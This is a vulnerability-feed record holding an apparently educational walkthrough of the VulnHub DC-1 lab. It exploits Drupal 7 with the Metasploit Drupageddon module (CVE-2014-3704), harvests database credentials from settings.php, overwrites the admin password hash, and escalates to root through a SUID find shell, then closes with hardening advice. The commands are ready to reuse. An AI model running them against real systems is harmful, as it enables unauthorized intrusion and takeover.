{"uuid": "fa171f95-072f-473f-b4de-c475160a801b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-3704", "type": "seen", "source": "https://gist.github.com/MrMostafaAbdelmonem/42ea24b15c726633e133de4c70bf34e1", "content": "# VulnHub Machine Walkthrough: DC-1\n\n**Target Machine:** DC-1 (VulnHub)\n**Difficulty:** Beginner / Intermediate\n**OS:** Linux (Debian)\n**Author:** Mostafa Abdelmonem\n**Status:** Completed (Full Root Compromise)\n\n---\n\n## 1. Environment &amp; Network Configuration\n\nThe testing environment was configured inside Oracle VirtualBox using isolated network adapters to enable direct communication between the attacker machine and the target while maintaining external internet access for tools and updates.\n\n### Network Adapters Configuration:\n* **Attacker Machine (Kali Linux):**\n  * **Adapter 1 (Host-Only):** `192.168.56.101` (Internal Subnet for Target Access)\n  * **Adapter 2 (NAT):** `10.0.3.15` (External Internet Access)\n* **Target Machine (DC-1):**\n  * **Adapter 1 (Host-Only):** `192.168.56.102`\n\n### Host Discovery\nPerformed active host discovery within the internal `192.168.56.0/24` subnet using `netdiscover`:\n\n```bash\nsudo netdiscover -r 192.168.56.0/24\n```\n\n* **Discovered Target IP:** `192.168.56.102`\n\n---\n\n## 2. Reconnaissance &amp; Enumeration\n\n### A. Full TCP Port Scanning (Nmap)\n\nExecuted an aggressive, full-port Nmap scan against the target to enumerate open ports, running services, and version information:\n\n```bash\nnmap -sV -A -Pn -p- 192.168.56.102\n```\n\n#### Nmap Flags Analysis:\n\n* `-p-`: Scans all 65,535 TCP ports to ensure non-standard services are identified.\n* `-sV`: Detects service names and precise version numbers to highlight outdated software.\n* `-A`: Aggressive scan mode combining OS detection, script scanning (`-sC`), and traceroute.\n* `-Pn`: Disables host discovery ICMP checks to accelerate port scanning.\n\n#### Scan Results:\n\n```text\nPORT      STATE SERVICE VERSION\n22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7\n80/tcp    open  http    Apache httpd 2.2.22 ((Debian))\n| http-robots.txt: 36 disallowed entries\n| /includes/ /misc/ /modules/ /profiles/ /scripts/\n| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt\n| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt\n|_/LICENSE.txt /MAINTAINERS.txt\n|_http-server-header: Apache/2.2.22 (Debian)\n|_http-generator: Drupal 7 (http://drupal.org)\n111/tcp   open  rpcbind 2-4 (RPC #100000)\n42203/tcp open  status  1 (RPC #100024)\n```\n\n### B. Web Application Reconnaissance (Port 80)\n\n* **Web Server &amp; CMS:** Apache 2.2.22 running **Drupal 7** Content Management System (CMS).\n* **Vulnerability Context:** Drupal 7 is a legacy CMS framework known for critical Remote Code Execution (RCE) flaws, the most notable being CVE-2014-3704 (\"Drupageddon\").\n* **Directory Enumeration:** Inspecting `robots.txt` and executing `gobuster` revealed sensitive endpoints including `/admin` and `/administrator`.\n\n---\n\n## 3. Initial Access &amp; Exploitation\n\n### A. Exploiting Drupal 7 via Metasploit (Drupageddon)\n\nLeveraging the legacy Drupal 7 application, the **Drupageddon** exploit (CVE-2014-3704) was selected within Metasploit (`msfconsole`).\n\n**How the exploit actually works (not just \"run and pray\"):**\nDrupal 7's database API failed to properly sanitize array-based parameters coming from user input (specifically in the `expand_arguments()` function). Drupal's REST/form parameter parser lets an attacker submit an array where a scalar value was expected. Because Drupal built raw SQL query fragments from array *keys* without sanitizing them, an attacker could inject arbitrary SQL through a crafted field name \u2014 no valid session or authentication needed. This SQL injection was then chained to **insert a fake user account with administrator privileges directly into the `users` table**, and in the RCE variant, to plant executable PHP inside the database that gets rendered/executed by Drupal, giving code execution as the web server user. That's the \"SQLi to RCE\" chain in one sentence: inject SQL \u2192 write a malicious admin/PHP payload into Drupal's own storage \u2192 Drupal itself executes it.\n\n1. Launched Metasploit and selected the module:\n```bash\nmsfconsole\nuse exploit/multi/http/drupal_drupageddon\n```\n\n2. Configured target parameters and listener address:\n```bash\nset RHOSTS 192.168.56.102\nset LHOST 192.168.56.101\nexploit\n```\n\n3. **Result:** The exploit executed successfully, returning an active **Meterpreter** session.\n\n### B. Spawning an Interactive TTY Shell\n\nAfter dropping into a raw system command shell (`shell`), the session was non-interactive. The terminal was upgraded using Python's built-in `pty` module:\n\n```bash\npython -c 'import pty; pty.spawn(\"/bin/bash\")'\n```\n\n#### Command Execution Result:\n\n```text\nwww-data@DC-1:/var/www$\n```\n\n* **Current User Context:** `www-data` (Low-privileged web server account)\n* **Working Directory:** `/var/www`\n\n---\n\n## 4. Local Enumeration &amp; Flag Recovery\n\n### Flag 1\n\nListing the web root directory (`/var/www`) revealed `flag1.txt`:\n\n```bash\ncat /var/www/flag1.txt\n```\n\n&gt; **Flag 1:** \"Every good CMS needs a config file - and so do you.\"\n\n#### Technical Context:\n\nThis flag is a direct pointer: in CMS architectures, application code and the database are strictly separated, and a plain-text config file bridges the two by storing database credentials. In Drupal specifically, this file is `sites/default/settings.php` \u2014 the flag text is nudging the tester toward hunting for exactly that file next.\n\n---\n\n## 5. Configuration Inspection &amp; Flag 2\n\nTo locate `settings.php` across the filesystem without permission error noise, a search from the root (`/`) directory was executed:\n\n```bash\ncd /\nfind / -iname \"settings.php\" 2&gt;/dev/null\n```\n\n### Identified Configuration Path:\n\n```text\n/var/www/sites/default/settings.php\n```\n\n### Inspecting `settings.php`:\n\nReading the file revealed **Flag 2** along with database connection credentials:\n\n```bash\ncat /var/www/sites/default/settings.php\n```\n\n#### Flag 2 Content:\n\n&gt; **Flag 2:** \"Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?\"\n\n#### Harvested Database Credentials:\n\n```php\n$databases = array (\n  'default' =&gt;\n  array (\n    'default' =&gt;\n    array (\n      'database' =&gt; 'drupaldb',\n      'username' =&gt; 'dbuser',\n      'password' =&gt; 'R0ck3t',\n      'host' =&gt; 'localhost',\n      'port' =&gt; '',\n      'driver' =&gt; 'mysql',\n      'prefix' =&gt; '',\n    ),\n  ),\n);\n```\n\n---\n\n## 6. Database Enumeration &amp; Credential Overwrite\n\nLogged into the local MySQL server using the discovered credentials:\n\n```bash\nmysql -u dbuser -pR0ck3t drupaldb\n```\n\n### Enumerating Users Table:\n\n```sql\nSHOW TABLES;\nSELECT uid, name, pass FROM users;\n```\n\n* **Identified Accounts:** `admin` (UID 1) and `Fred`.\n\n### Why `admin` and not `Fred`, and why not crack the hash?\n\nDrupal 7 salts and hashes passwords with its own `$S$`-prefixed format (a variant of PHKDF2 with per-user salts), which makes offline dictionary/brute-force cracking slow and often unproductive within a lab timeframe. `admin` (UID 1) was targeted specifically because in Drupal, UID 1 is the **superuser** account with full administrative privileges over the site \u2014 including the ability to configure PHP-executable content (via modules like PHP filter), which is the fastest route to code execution. `Fred` was enumerated for completeness but had no elevated privileges, so escalating there would have gained nothing extra; overwriting `admin`'s hash directly in the database (since we already have write access via `dbuser`) sidesteps cracking entirely.\n\n### Bypassing Authentication via Hash Overwrite:\n\nInstead of cracking the hash, a custom password hash was generated using Drupal 7's built-in hashing utility script (`password-hash.sh`).\n\n#### Generating New Password Hash:\n\n* **Script Location:** `/var/www/scripts/password-hash.sh`\n* **Execution Note:** The script must be executed from `/var/www` so that relative PHP includes (`includes/password.inc`) resolve correctly.\n\n```bash\ncd /var/www\nphp scripts/password-hash.sh newpassword123\n```\n\n#### Output Hash Generated:\n\n```text\n$S$DvYN7C1RVxklWJVOTHPzd38RI1CKhP.zmPF0k/rBwqBUbDE3ngwN\n```\n\n#### Updating the Admin Password in Database:\n\nRe-entered MySQL and updated the `admin` password hash directly:\n\n```sql\nUPDATE users SET pass ='$S$DvYN7C1RVxklWJVOTHPzd38RI1CKhP.zmPF0k/rBwqBUbDE3ngwN' WHERE name='admin';\n```\n\n---\n\n## 7. CMS Authentication &amp; Flag 3\n\n1. Navigated to `http://192.168.56.102/` in the browser.\n2. Authenticated into the Drupal administrative portal using:\n   * **Username:** `admin`\n   * **Password:** `newpassword123`\n3. Discovered **Flag 3** posted within the administrative dashboard nodes:\n\n&gt; **Flag 3:** \"Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.\"\n\n#### Hint Analysis:\n\nThe terms **\"Special PERMS\"**, **\"FIND\"**, and **\"-exec\"** strongly indicate an exploitation path involving **SUID (Set Owner User ID)** permissions on the `find` binary.\n\n---\n\n## 8. Root Privilege Escalation &amp; Final Flag\n\n### Searching for SUID Binaries\n\nSearched the filesystem for binaries executing with `root` privileges:\n\n```bash\nfind / -perm -u=s -type f 2&gt;/dev/null\n```\n\n#### Command Parameters Explained:\n\n* `/`: Searches starting from the system root directory.\n* `-perm -u=s`: Filters exclusively for files with the SUID bit set.\n* `-type f`: Restricts search to standard files.\n* `2&gt;/dev/null`: Suppresses permission denied error messages.\n\n#### Key SUID Binaries Discovered:\n\n```text\n/usr/bin/find\n/bin/ping\n/bin/su\n/usr/bin/chfn\n```\n\n### Exploiting `find` SUID Permission via GTFOBins\n\nThe `/usr/bin/find` binary had misconfigured SUID permissions, allowing users to execute system commands as `root` via its built-in `-exec` parameter. Because `find` runs with the SUID bit set (owned by root), any command it spawns via `-exec` inherits root's effective UID \u2014 this is exactly the technique catalogued on GTFOBins for privilege escalation.\n\nExecuting shell breakout command:\n\n```bash\nfind . -exec /bin/sh -p \\; -quit\n```\n\n* **Verification:** Checking identity confirmed root access (`whoami` -&gt; `root`).\n\n### Capturing the Final Flag\n\nNavigated to the `/root` directory and retrieved the final flag:\n\n```bash\ncd /root &amp;&amp; ls -la\ncat thefinalflag.txt\n```\n\n#### Final Flag Output:\n\n```text\nWell done!!!!\n\nHopefully you've enjoyed this and learned some new skills.\n\nYou can let me know what you thought of this little journey\nby contacting me via Twitter - @DCAU\n```\n\n---\n\n## 9. Remediation &amp; Hardening Recommendations\n\n1. **Patch &amp; Upgrade Legacy CMS Frameworks:**\n   Upgrade legacy Drupal 7 instances to actively supported releases to mitigate critical vulnerability vectors such as Drupageddon (CVE-2014-3704).\n2. **Harden Database &amp; File Permissions:**\n   Ensure configuration files like `settings.php` have strict file read permissions (e.g., `400` or `440`) owned exclusively by necessary web service groups.\n3. **Audit SUID Binaries (Principle of Least Privilege):**\n   Remove unnecessary SUID flags from administrative binaries like `/usr/bin/find`. System utilities should never execute with elevated privileges unless strictly required for core system function.\n4. **Enforce Strong, Unique CMS Passwords:**\n   Even after patching the RCE, weak reused passwords (like the default `admin` credentials in many Drupal installs) remain an easy secondary attack path \u2014 enforce complexity and rotation policies.", "creation_timestamp": "2026-09-24T15:22:04.000000Z"}